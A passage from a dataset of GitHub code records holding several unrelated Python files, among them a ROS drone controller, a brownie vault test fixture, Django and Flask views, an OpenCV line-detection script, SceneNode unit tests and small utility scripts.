self.quads:\n            nl_opt.planner.setupFromVertices(vertices, times)\n            nl_opt.planner.add_max_vel(2.0)\n            nl_opt.planner.add_max_acc(1.0)\n\n\nif __name__ == '__main__':\n    central_controller = CentrolizedController()\n    for i_controller in central_controller.quads:\n        i_controller.optimize()\n        i_controller.get_planned_pos_vel()\n        i_controller.load_trj_lists()\n    rospy.init_node(\"controller\", anonymous=True)\n    rate = rospy.Rate(50)\n    rospy.sleep(3.0)\n    # for i in range(central_controller.num_of_quads):\n    #     central_controller.quads[i].planner.set_segment_time(segment_times=[3.0, 3.0])\n    #     central_controller.quads[i].solve_poly3d()\n    #     central_controller.quads[i].planner.add_offset()\n    #     central_controller.quads[i].load_trj_lists()\n\n    while not rospy.is_shutdown():\n        for i_controller in central_controller.quads:\n            # i_controller.set_hover_des(1.5)\n            # i_controller.hover_and_trj_xy(dimension='x')\n            i_controller.publish_poly3d_trj()\n            i_controller.publish_err()\n            i_controller.update_current_state()\n            i_controller.update_desired_values()\n            i_controller.motorSpeedFromU()\n            # i_controller.multiply_motor_speed(1.2)\n            i_controller.send_motor_command()\n            rate.sleep()\n\n","repo_name":"intelligent-control-lab/Collaborative_Aerial_Transportation","sub_path":"rotors_gazebo/scripts/collaborative/control_node_collaborative.py","file_name":"control_node_collaborative.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"}
+{"seq_id":"9273501105","text":"import time\n\nfrom brownie import (\n    DemoStrategy,\n    Vault,\n    MockToken,\n    AdminUpgradeabilityProxy,\n    TestVipCappedGuestListBbtcUpgradeable,\n    accounts,\n)\n\nfrom helpers.constants import AddressZero\nfrom rich.console import Console\n\nconsole = Console()\n\nfrom dotmap import DotMap\nimport pytest\n\nperformanceFeeGovernance = 1000\nperformanceFeeStrategist = 1000\nwithdrawalFee = 50\nmanagementFee = 50\n\n################# Token #################\n\n\n@pytest.fixture\ndef token(badger, deployer):\n    token = MockToken.deploy({\"from\": deployer})\n    token.initialize([badger.address], [1000 * 10 ** 18])\n    return token\n\n\n#########################################\n\n################# Actors #################\n\n# Initializer and giver of tokens\n@pytest.fixture\ndef badger():\n    yield accounts[0]\n\n\n@pytest.fixture\ndef deployer():\n    yield accounts[1]\n\n\n@pytest.fixture\ndef governance():\n    yield accounts[2]\n\n\n@pytest.fixture\ndef keeper():\n    yield accounts[3]\n\n\n@pytest.fixture\ndef guardian():\n    yield accounts[4]\n\n\n@pytest.fixture\ndef proxyAdmin():\n    yield accounts[5]\n\n\n@pytest.fixture\ndef strategist():\n    yield accounts[6]\n\n\n@pytest.fixture\ndef rando():\n    yield accounts[9]\n\n\n###########################################\n\n################# Deploy #################\n@pytest.fixture\ndef deployed_vault(deployer, governance, keeper, guardian, strategist, token):\n    vault = Vault.deploy({\"from\": deployer})\n    vault.initialize(\n        token,\n        governance,\n        keeper,\n        guardian,\n        governance,\n        strategist,\n        False,\n        \"\",\n        \"\",\n        [\n            performanceFeeGovernance,\n            performanceFeeStrategist,\n            withdrawalFee,\n            managementFee,\n        ],\n    )\n    return vault\n\n\n@pytest.fixture\ndef deploy_complete(\n    deployer, governance, keeper, guardian, badger, rando, proxyAdmin, strategist\n):\n\n    token = MockToken.deploy({\"from\": deployer})\n    token.initialize(\n        [deployer.address, rando.address], [100 * 10 ** 18, 100 * 10 ** 18]\n    )\n    want = token\n\n    # NOTE: change strategist\n    vault = Vault.deploy({\"from\": deployer})\n    vault.initialize(\n        token,\n        governance,\n        keeper,\n        guardian,\n        governance,\n        strategist,\n        False,\n        \"\",\n        \"\",\n        [\n            performanceFeeGovernance,\n            performanceFeeStrategist,\n            withdrawalFee,\n            managementFee,\n        ],\n    )\n    vault.setStrategist(strategist, {\"from\": governance})\n    # NOTE: Vault starts unpaused\n\n    strategy = DemoStrategy.deploy({\"from\": deployer})\n    strategy.initialize(vault, [token])\n    # NOTE: Strategy starts unpaused\n\n    vault.setStrategy(strategy, {\"from\": governance})\n\n    return DotMap(\n        vault=vault,\n        strategy=strategy,\n        want=want,\n        performanceFeeGovernance=performanceFeeGovernance,\n        performanceFeeStrategist=performanceFeeStrategist,\n        withdrawalFee=withdrawalFee,\n    )\n\n\n@pytest.fixture\ndef deployed_gueslist(\n    deployed_vault,\n    deployer,\n    governance,\n    proxyAdmin,\n    keeper,\n    guardian,\n    strategist,\n    token,\n):\n    \"\"\"\n    Deploys TestVipCappedGuestListBbtcUpgradeable.sol for testing Guest List functionality\n    \"\"\"\n\n    # NOTE: Change accordingly\n    vaultAddr = deployed_vault.address\n    merkleRoot = \"0x1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a\"\n    userCap = 2e18\n    totalCap = 50e18\n\n    # Get deployer account from local keystore. Deployer must be the\n    # vault's governance address in order to set its guestlist parameters.\n    dev = deployer\n\n    # Get actors\n    governance = governance\n    proxyAdmin = proxyAdmin\n\n    assert governance != AddressZero\n    assert proxyAdmin != AddressZero\n\n    # Deploy guestlist\n    guestlist = deploy_guestlist(dev, proxyAdmin, vaultAddr)\n\n    # Set guestlist parameters\n    guestlist.setUserDepositCap(userCap, {\"from\": dev})\n    assert guestlist.userDepositCap() == userCap\n\n    guestlist.setTotalDepositCap(totalCap, {\"from\": dev})\n    assert guestlist.totalDepositCap() == totalCap\n\n    # Transfers ownership of guestlist to Badger Governance\n    guestlist.transferOwnership(governance, {\"from\": dev})\n    assert guestlist.owner() == governance\n\n    vault = deployed_vault\n\n    vault.setStrategist(deployer, {\"from\": governance})\n    # NOTE: Vault starts unpaused\n\n    performanceFeeGovernance = 1000\n    performanceFeeStrategist = 1000\n    withdrawalFee = 50\n\n    strategy = DemoStrategy.deploy({\"from\": deployer})\n    strategy.initialize(vault, [token])\n    # NOTE: Strategy starts unpaused\n\n    vault.setStrategy(strategy, {\"from\": governance})\n\n    return DotMap(vault=vault, guestlist=guestlist, strategy=strategy)\n\n\ndef deploy_guestlist(dev, proxyAdmin, vaultAddr):\n\n    guestlist_logic = TestVipCappedGuestListBbtcUpgradeable.deploy({\"from\": dev})\n\n    # Initializing arguments\n    args = [vaultAddr]\n\n    guestlist_proxy = AdminUpgradeabilityProxy.deploy(\n        guestlist_logic,\n        proxyAdmin,\n        guestlist_logic.initialize.encode_input(*args),\n        {\"from\": dev},\n    )\n    time.sleep(1)\n\n    ## We delete from deploy and then fetch again so we can interact\n    AdminUpgradeabilityProxy.remove(guestlist_proxy)\n    guestlist_proxy = TestVipCappedGuestListBbtcUpgradeable.at(guestlist_proxy.address)\n\n    # console.print(\"[green] Using Guestlist in conftest.py/functional\")\n    console.print(\"[green]Guestlist was deployed at: [/green]\", guestlist_proxy.address)\n\n    return guestlist_proxy\n\n\n#############################################\n","repo_name":"GalloDaSballo/badger-sett-1.5","sub_path":"tests/functional/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35865660020","text":"import csv\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom app.settings import INFLATION_CSV\n\n\nclass InflationView(TemplateView):\n    template_name = 'inflation.html'\n\n    def get(self, request, *args, **kwargs):\n        # чтение csv-файла и заполнение контекста\n        inflation_color = []\n        headers = []\n        with open(INFLATION_CSV, newline='', encoding='utf-8') as csvfile:\n            reader = csv.DictReader(csvfile, delimiter=';')\n            flag = True\n            for row in reader:\n                year = []\n                keys = row.keys()\n\n                for key in keys:\n                    month = {}\n                    if row[key]:\n                        if key == 'Г��д':\n                            month['count'] = int(row[key])\n                        else:\n                            month['count'] = float(row[key])\n\n                        if month['count'] < 0:\n                            month['color'] = 'green'\n\n                        elif 1 <= month['count'] < 2:\n                            month['color'] = 'orangered'\n\n                        elif 2 <= month['count'] < 5:\n                            month['color'] = 'red'\n                        elif month['count'] >= 5:\n                            month['color'] = 'darkred'\n                        else:\n                            month['color'] = 'white'\n\n                        if key == 'Год':\n                            month['color'] = 'white'\n\n                        elif key == 'Суммарная':\n                            month['color'] = 'lightgrey'\n\n                    else:\n                        month['count'] = '-'\n                        month['color'] = 'white'\n\n                    year.append(month)\n\n                    if flag:\n                        headers.append(key)\n\n                flag = False\n                inflation_color.append(year)\n\n        context = {'data': inflation_color, 'headers': headers}\n        return render(request, self.template_name,\n                      context)\n","repo_name":"shattl2000/Netology","sub_path":"Python_course/Part 3/dynamic-templates/task1/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"33080657378","text":"from flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.api.auth_routes import validation_errors_to_error_messages\nfrom app.forms import TransactionForm\nfrom app.models import db,  Transaction\nfrom datetime import datetime, timezone\n\ntransaction_routes = Blueprint('transactions', __name__)\n\n\n@transaction_routes.route('/')\n@login_required\ndef get_all_transactions():\n    # Returns all transactions made by logged in user\n    party_id = current_user.id\n    transactions = Transaction.query.filter(Transaction.party_id == party_id).all()\n\n    return { 'transactions' : [transaction.to_dict() for transaction in transactions]}, 200\n\n\n@transaction_routes.route('/new', methods=['POST'])\n@login_required\ndef post_transactions():\n    party_id = current_user.id\n\n    form = TransactionForm()\n    form['csrf_token'].data = request.cookies['csrf_token']\n\n    if form.validate_on_submit():\n        # find out what it is doing\n        # if type is cryptocurrency\n        # find out if it is adding/removing\n        # other transaction is $$$$$\n\n        transaction_A = Transaction()\n        transaction_B = Transaction()\n\n        form.populate_obj(transaction_A)\n        form.populate_obj(transaction_B)\n\n        transaction_A.party_id = party_id\n        transaction_B.party_id = party_id\n\n\n        if transaction_A.asset_id != '$$$$$':\n            # transaction_A.total = -transaction_A.total\n\n            transaction_B.asset_id = '$$$$$'\n            transaction_B.symbol = '$$$$$'\n            transaction_B.name = '$$$$$'\n            transaction_B.type = 'exchange'\n            transaction_B.quantity = transaction_B.total\n\n            # if transaction_A.total > 0:\n            #     # meaning that cash was added\n            #     # meaning that an asset was sold\n            #     # meaning that quantity must be negative\n            #     transaction_A.quantity = -transaction_A.quantity\n\n            transaction_A.timestamp = datetime.now(timezone.utc)\n            transaction_B.timestamp = datetime.now(timezone.utc)\n            db.session.add(transaction_A)\n            # db.session.add(transaction_B)\n            db.session.commit()\n            return { 'message': 'Transactions successfully posted.'}\n\n        else:\n            # if asset_id is $$$$$\n            # then it was a deposit\n            # transaction_A.type will be Bank deposit\n            transaction_B.quantity = -transaction_A.quantity\n            transaction_B.total = -transaction_A.quantity\n            transaction_B.type = 'Bank Withdrawl'\n\n            transaction_A.timestamp = datetime.now(timezone.utc)\n            transaction_B.timestamp = datetime.now(timezone.utc)\n            db.session.add(transaction_A)\n            db.session.add(transaction_B)\n            db.session.commit()\n            return { 'message': 'Transactions successfully posted.'}\n    else:\n        return { 'errors': validation_errors_to_error_messages(form.errors) }, 400\n","repo_name":"hang-justin/robinhood-clone","sub_path":"app/api/transaction_routes.py","file_name":"transaction_routes.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"70255326132","text":"import sys\nfrom pprint import pprint\ninput = sys.stdin.readline\n\nh, w = map(int, input().split())\ngrid = [list(input().strip()) for _ in range(h)]\n\n# print('input----->')\n# pprint(grid)\n# print('<-----input')\n\nd_mark = ['^', '>', 'v', '<']\ndy = [-1, 0, 1, 0]\ndx = [0, 1, 0, -1]\n\ndef findStart(grid):\n    # print('findStart----->')\n    for j in range(h):\n        for i in range(w):\n            if grid[j][i] == '#':\n                direction = findDirection(j, i)\n                # print(f'direction: {direction}')\n                if direction != -1:\n                    # print(f'start (y, x): ({j}, {i})')\n                    print(j+1, i+1)\n                    # print(f'direction: {d_mark[direction]}')\n                    print(d_mark[direction])\n                    # print('<-----findStart')\n                    return j, i, direction\n\ndef findDirection(y, x):\n    # print('findDirection----->')\n    count = 0\n    for k in range(4):\n        ny = y + dy[k]\n        nx = x + dx[k]\n        if 0 <= ny < h and 0 <= nx < w:\n            if grid[ny][nx] == '#':\n                # print(f'ny, nx: ({ny}, {nx})')\n                direction = k\n                count += 1\n                # print(f'direction, count : {direction}, {count}')\n    # print('<-----findDirection')\n    return direction if count == 1 else -1\n\ndef navigate(y, x, direction):\n    grid[y][x] = '.'\n    prevDir = nextDir = direction\n    while True:\n        while prevDir == nextDir:\n            print('A', end='')\n            y = y + dy[prevDir]\n            x = x + dx[prevDir]\n            grid[y][x] = '.'\n            y = y + dy[prevDir]\n            x = x + dx[prevDir]\n            grid[y][x] = '.'\n\n            nextDir = findDirection(y, x)\n            # print(f'prevDir, nextDir : {prevDir}, {nextDir}')\n        if nextDir == -1:\n            return\n        if (nextDir - prevDir) % 4 == 1:\n            print('R', end='')\n        elif (nextDir - prevDir) % 4 == 3:\n            print('L', end='')\n        prevDir = nextDir\n\nsy, sx, direction = findStart(grid)\nnavigate(sy, sx, direction)","repo_name":"vfrnji124/algorithm_practice","sub_path":"HSAT/HSAT_01_로봇이_지나간_경로.py","file_name":"HSAT_01_로봇이_지나간_경로.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74345548853","text":"import cv2 as cv\nimport numpy as np\n\n\ndef main(video):\n    low = {\"H\":32,\"S\":80,\"V\":62}\n    high = {\"H\":114,\"S\":255,'V':132}\n    src_window = \"Source\"\n    dst_window = \"Output\"\n    building(video,high,low,src_window,dst_window)\n\ndef building(video,high,low,src_window,dst_window):\n    cv.namedWindow(src_window)\n    cv.namedWindow(dst_window)\n    while True:\n        ret,frame = video.read()\n        if frame is None:\n            break\n        key = cv.waitKey(10)\n        if key == ord('p'):\n            cv.waitKey(-1)\n        frame_HSV = cv.cvtColor(frame,cv.COLOR_BGR2HSV)\n        frame_threshold = cv.inRange(frame_HSV,(low[\"H\"],low[\"S\"],low[\"V\"]),(high[\"H\"],high['S'],high[\"V\"]))\n        canimg = hough(frame_HSV)\n        ##cv.imshow(src_window, frame)\n        cv.imshow(dst_window, frame_threshold)\n        cv.imshow(\"NewFrame\",canimg)\n        if key == ord('q') or key == 27:\n            break\n    video.release()\n    cv.destroyAllWindows()\n\ndef hough(frame):\n    newimg = cv.cvtColor(frame,cv.COLOR_BGR2GRAY)\n    canimg = cv.Canny(newimg,50,200)\n    lines = cv.HoughLines(canimg,1,np.pi/180,120,np.array([]))\n    for line in lines:\n        rho,theta = line[0]\n        a = np.cos(theta)\n        b = np.sin(theta)\n        x0 = a*rho\n        y0 = b*rho\n        x1 = int(x0+1000*(-b))\n        y1 = int(y0 + 1000*(a))\n        x2 = int(x0 -1000*(-b))\n        y2 = int(y0 - 1000 *(1))\n        cv.line(frame, (x1,y1), (x2,y2), (0,0,255), 2)\n    #cv.imshow(\"Lines\",frame)\n    #cv.imshow(\"Canny\",canimg)\n    #cv.waitKey(0)\n    return canimg\n\nif __name__ == \"__main__\":\n    video = cv.VideoCapture(r\"../footage/longgame.mp4\")\n    main(video)","repo_name":"Bdkelly/BenKelly_MnM4SDS_project_draft","sub_path":"src/testhough.py","file_name":"testhough.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4241791370","text":"from UM.Mesh.MeshData import MeshData\nfrom UM.Scene.GroupDecorator import GroupDecorator\nfrom UM.Scene.SceneNode import SceneNode\n\nfrom UM.Math.Vector import Vector\nfrom UM.Math.Quaternion import Quaternion\nfrom UM.Math.Matrix import Matrix\nfrom UM.Math.Float import Float\n\nimport unittest\nimport math\n\nfrom copy import deepcopy\n\nclass SceneNodeTest(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def test_setPosition(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 0))\n\n        node.setPosition(Vector(0, 0, 10))\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 10))\n\n        node.setPosition(Vector(0, 0, 10))\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 10))\n\n    def test_translate(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 0))\n\n        node.translate(Vector(0, 0, 10))\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 10))\n\n        node.translate(Vector(0, 0, 10))\n\n        self.assertEqual(node.getPosition(), Vector(0, 0, 20))\n\n    def test_setOrientation(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getOrientation(), Quaternion())\n\n        node.setOrientation(Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        self.assertEqual(node.getOrientation(), Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        node.setOrientation(Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        self.assertEqual(node.getOrientation(), Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n    def test_rotate(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getOrientation(), Quaternion())\n\n        node.rotate(Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        self.assertEqual(node.getOrientation(), Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        node.rotate(Quaternion.fromAngleAxis(math.pi / 4, Vector.Unit_Z))\n\n        self.assertEqual(node.getOrientation(), Quaternion.fromAngleAxis(math.pi / 2, Vector.Unit_Z))\n\n    def test_setScale(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getScale(), Vector(1, 1, 1))\n\n        node.setScale(Vector(1.5, 1.5, 1.5))\n\n        self.assertEqual(node.getScale(), Vector(1.5, 1.5, 1.5))\n\n        node.setScale(Vector(1.5, 1.5, 1.5))\n\n        self.assertEqual(node.getScale(), Vector(1.5, 1.5, 1.5))\n\n    def test_scale(self):\n        node = SceneNode()\n\n        self.assertEqual(node.getScale(), Vector(1, 1, 1))\n\n        node.scale(Vector(1.5, 1.5, 1.5))\n\n        self.assertEqual(node.getScale(), Vector(1.5, 1.5, 1.5))\n\n        node.scale(Vector(1.5, 1.5, 1.5))\n\n        self.assertEqual(node.getScale(), Vector(2.25, 2.25, 2.25))\n\n    def test_translateWorld(self):\n        node1 = SceneNode()\n\n        node2 = SceneNode(node1)\n\n        self.assertEqual(node2.getWorldPosition(), Vector(0, 0, 0))\n\n        node1.translate(Vector(0, 0, 10))\n\n        self.assertEqual(node1.getWorldPosition(), Vector(0, 0, 10))\n        self.assertEqual(node2.getWorldPosition(), Vector(0, 0, 10))\n\n        node2.translate(Vector(0, 0, 10))\n\n        self.assertEqual(node1.getWorldPosition(), Vector(0, 0, 10))\n        self.assertEqual(node2.getWorldPosition(), Vector(0, 0, 20))\n\n        node1.rotate(Quaternion.fromAngleAxis(math.pi / 2, Vector.Unit_Y))\n\n        self.assertEqual(node1.getWorldPosition(), Vector(0, 0, 10))\n        self.assertEqual(node2.getWorldPosition(), Vector(10, 0, 10))\n\n        node2.translate(Vector(0, 0, 10))\n\n        # Local translation on Z with a parent rotated 90 degrees results in movement on X axis\n        pos = node2.getWorldPosition()\n        #Using fuzzyCompare due to accumulation of floating point error\n        self.assertTrue(Float.fuzzyCompare(pos.x, 20, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 10)))\n        self.assertTrue(Float.fuzzyCompare(pos.y, 0, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 10)))\n        self.assertTrue(Float.fuzzyCompare(pos.z, 10, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 10)))\n\n        node2.translate(Vector(0, 0, 10), SceneNode.TransformSpace.World)\n\n        # World translation on Z with a parent rotated 90 degrees results in movement on Z axis\n        pos = node2.getWorldPosition()\n        self.assertTrue(Float.fuzzyCompare(pos.x, 20, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 20)))\n        self.assertTrue(Float.fuzzyCompare(pos.y, 0, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 20)))\n        self.assertTrue(Float.fuzzyCompare(pos.z, 20, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(20, 0, 20)))\n\n        node1.translate(Vector(0, 0, 10))\n\n        self.assertEqual(node1.getWorldPosition(), Vector(10, 0, 10))\n\n        pos = node2.getWorldPosition()\n        self.assertTrue(Float.fuzzyCompare(pos.x, 30, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(30, 0, 20)))\n        self.assertTrue(Float.fuzzyCompare(pos.y, 0, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(30, 0, 20)))\n        self.assertTrue(Float.fuzzyCompare(pos.z, 20, 1e-5), \"{0} does not equal {1}\".format(pos, Vector(30, 0, 20)))\n\n        node1.scale(Vector(2, 2, 2))\n\n        pos = node2.getWorldPosition()\n        self.assertTrue(Float.fuzzyCompare(pos.x, 50, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(50, 0, 30)))\n        self.assertTrue(Float.fuzzyCompare(pos.y, 0, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(50, 0, 30)))\n        self.assertTrue(Float.fuzzyCompare(pos.z, 30, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(50, 0, 30)))\n\n        node2.translate(Vector(0, 0, 10))\n\n        pos = node2.getWorldPosition()\n        self.assertTrue(Float.fuzzyCompare(pos.x, 70, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(70, 0, 30)))\n        self.assertTrue(Float.fuzzyCompare(pos.y, 0, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(70, 0, 30)))\n        self.assertTrue(Float.fuzzyCompare(pos.z, 30, 1e-4), \"{0} does not equal {1}\".format(pos, Vector(70, 0, 30)))\n\n        # World space set position\n        node1 = SceneNode()\n        node2 = SceneNode(node1)\n        node1.setPosition(Vector(15,15,15))\n        node2.setPosition(Vector(10,10,10))\n        self.assertEqual(node2.getWorldPosition(), Vector(25, 25, 25))\n        #node2.setPosition(Vector(15,15,15), SceneNode.TransformSpace.World)\n        #self.assertEqual(node2.getWorldPosition(), Vector(15, 15, 15))\n        #self.assertEqual(node2.getPosition(), Vector(0,0,0))\n\n        node1.setPosition(Vector(15,15,15))\n        node2.setPosition(Vector(0,0,0))\n        node2.rotate(Quaternion.fromAngleAxis(-math.pi / 2, Vector.Unit_Y))\n        node2.translate(Vector(10,0,0))\n        self.assertEqual(node2.getWorldPosition(), Vector(15,15,25))\n\n        node2.setPosition(Vector(15,15,25), SceneNode.TransformSpace.World)\n        self.assertEqual(node2.getWorldPosition(), Vector(15,15,25))\n        self.assertEqual(node2.getPosition(), Vector(0,0,10))\n\n    def test_setName(self):\n        node = SceneNode()\n        node.setName(\"DERP\")\n        assert node.getName() == \"DERP\"\n\n    def test_getDepth(self):\n        node1 = SceneNode()\n        node2 = SceneNode()\n        node3 = SceneNode()\n        node4 = SceneNode()\n\n        node1.addChild(node2)\n        node1.addChild(node3)\n        node2.addChild(node4)\n\n        assert node1.getDepth() == 0\n        assert node2.getDepth() == 1\n        assert node3.getDepth() == 1\n        assert node4.getDepth() == 2\n\n    def test_visibility(self):\n        node1 = SceneNode()\n        node1.setVisible(True)\n        assert node1.isVisible()\n\n        node2 = SceneNode()\n        node1.addChild(node2)\n        node2.setVisible(True)\n        assert node2.isVisible()\n\n        node1.setVisible(False)\n        assert not node1.isVisible()\n        assert not node2.isVisible()\n\n    def test_enabled(self):\n        node1 = SceneNode()\n        node1.setEnabled(True)\n        assert node1.isEnabled()\n\n        node2 = SceneNode()\n        node1.addChild(node2)\n        node2.setEnabled(True)\n        assert node2.isEnabled()\n\n        node1.setEnabled(False)\n        assert not node1.isEnabled()\n        assert not node2.isEnabled()\n\n    def test_removeChildren(self):\n        node1 = SceneNode()\n        node2 = SceneNode()\n        node1.addChild(node2)\n        assert node1.hasChildren()\n\n        node1.removeAllChildren()\n\n        assert not node1.hasChildren()\n\n    def test_getAllChildren(self):\n        parent_node = SceneNode()\n        child_node_1 = SceneNode()\n        child_node_2 = SceneNode()\n        parent_node.addChild(child_node_1)\n        parent_node.addChild(child_node_2)\n\n        child_1_of_child_node_1 = SceneNode()\n        child_2_of_child_node_1 = SceneNode()\n        child_node_1.addChild(child_1_of_child_node_1)\n        child_node_1.addChild(child_2_of_child_node_1)\n\n        child_1_of_child_node_2 = SceneNode()\n        child_node_2.addChild(child_1_of_child_node_2)\n\n        assert parent_node.getAllChildren() == [child_node_1, child_node_2, child_1_of_child_node_1, child_2_of_child_node_1, child_1_of_child_node_2]\n\n    def test_rotateWorld(self):\n        pass\n\n    def test_scaleWorld(self):\n        node1 = SceneNode()\n        node2 = SceneNode(node1)\n\n        node2.scale(Vector(1.5,1.,1.))\n        node2.translate(Vector(10,10,10))\n        self.assertEqual(node2.getWorldPosition(), Vector(15,10,10))\n        node2.scale(Vector(1.5,1,1))\n        self.assertEqual(node2.getWorldPosition(), Vector(15,10,10))\n\n    def test_deepCopy(self):\n        node_1 = SceneNode()\n        node_2 = SceneNode()\n        node_1.translate(Vector(1, 2, 3))\n        node_1.scale(Vector(1.5, 1., 1.))\n        node_1.setMeshData(MeshData())\n        node_1.addChild(node_2)\n        node_1.addDecorator(GroupDecorator())\n        copied_node = deepcopy(node_1)\n\n        assert copied_node.getScale() == Vector(1.5, 1, 1)\n        assert copied_node.getPosition() == Vector(1, 2, 3)\n        assert len(copied_node.getChildren()) == 1\n        # Ensure that the decorator also got copied\n        assert copied_node.callDecoration(\"isGroup\")\n\n    def test_addRemoveDouble(self):\n        # Adding a child that's already a child of a node should not cause issues. Same for trying to remove one that isn't a child\n\n        node_1 = SceneNode()\n        node_2 = SceneNode()\n        # Should work\n        node_1.addChild(node_2)\n        # Should still work!\n        node_1.addChild(node_2)\n\n        # This has already been tested somewhere else, so no problems are expected\n        node_1.removeChild(node_2)\n        # Doing it again shouldn't break.\n        node_1.removeChild(node_2)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"DapDeveloper/Uranium","sub_path":"tests/Scene/TestSceneNode.py","file_name":"TestSceneNode.py","file_ext":"py","file_size_in_byte":10711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2586346539","text":"from time import sleep\r\nimport os\r\nresp=0\r\nn1= int(input('Digite o primeiro número: '))\r\nn2= int(input('Digite o segundo número: '))\r\nwhile resp != '5':\r\n    resp=str(input('''OPÇÕES:\r\n    [1]SOMAR\r\n    [2]MULTIPLICAR\r\n    [3]MAIOR\r\n    [4]DIGITAR NOVOS NÚMEROS\r\n    [5]SAIR DO PROGRAMA\r\n    Escolha uma das opções acima: '''))\r\n    if resp == '1': #PARTE SOMA DO MENU\r\n        print('SOMANDO OS NÚMEROS... AGUARDE')\r\n        sleep(1)\r\n        print(f'A soma dos números é {n1+n2}.')\r\n    elif resp == '2': #PARTE MULT DO MENU\r\n        print('MULTIPLICANDO OS NÚMEROS.. AGUARDE')\r\n        sleep(1)\r\n        print(f'O produto dos valores digitados é {n1*n2}.')\r\n    elif resp == '3': #PARTE MAIOR NÚMERO DO MENU \r\n        print('CALCULANDO O MAIOR NÚMERO... AGUARDE')\r\n        sleep(1)\r\n        if n1 > n2:\r\n            print(f'O maior número é {n1}.')\r\n        elif n1 < n2:\r\n            print(f'O maior número é {n2}.')\r\n        elif n2==n1:\r\n            print('Os números são iguais.')\r\n    elif resp == '4': #PARTE DE ESCOLHER NOVOS NÚMEROS\r\n        print('ESCOLHA NOVOS NÚMEROS')\r\n        n1=int(input('Primeiro valor: '))\r\n        n2=int(input('Segundo valor: '))\r\n    elif resp not in '54321':\r\n        print('OPÇÃO INVÁLIDA !')\r\n    sleep(2)\r\nprint('Você finalizou o programa')\r\n","repo_name":"marciof2/PYTHON-","sub_path":"desafio59.py","file_name":"desafio59.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43802830509","text":"import re\nimport sys\nimport codecs\nimport csv\nimport json\n\nfieldnames = ['entry', 'defid', 'word', 'author', 'definition', 'example', 'thumbs_up', 'thumbs_down']\n\ndb_file = sys.argv[1]\ndb_processed_file = db_file + '.processed'\ncsv_file = sys.argv[2]\n\n# Make sure readline will work properly by removing unicode line breaks\nwith codecs.open(db_file, 'r', encoding='utf-8') as f:\n    with codecs.open(db_processed_file, 'w', encoding='utf8') as out:\n        for line in f:\n            if line[-1] != '\\n':\n                out.write(line[:-1].strip())\n            else:\n                out.write(line.strip() + '\\n')\n\n\nwith codecs.open(db_processed_file, 'r', encoding='utf-8') as f:\n    with codecs.open(csv_file, 'w', encoding='utf8') as csvfile:\n        writer = csv.DictWriter(csvfile, fieldnames=fieldnames, quoting=csv.QUOTE_ALL)\n        writer.writeheader()\n        for line in f:\n            data = json.loads(line)\n            if not 'entry' in data:\n                continue\n            entry = data['entry']\n            for d in data['definitions']:\n                writer.writerow({\n                    'entry': entry,\n                    'defid': d['defid'],\n                    'word': d['word'],\n                    'author': d['author'],\n                    'definition': d['definition'],\n                    'example': d['example'],\n                    'thumbs_up': d['thumbs_up'],\n                    'thumbs_down': d['thumbs_down'],\n                })\n","repo_name":"mattbierner/urban-dictionary-entry-collector","sub_path":"gen_csv.py","file_name":"gen_csv.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"21"}
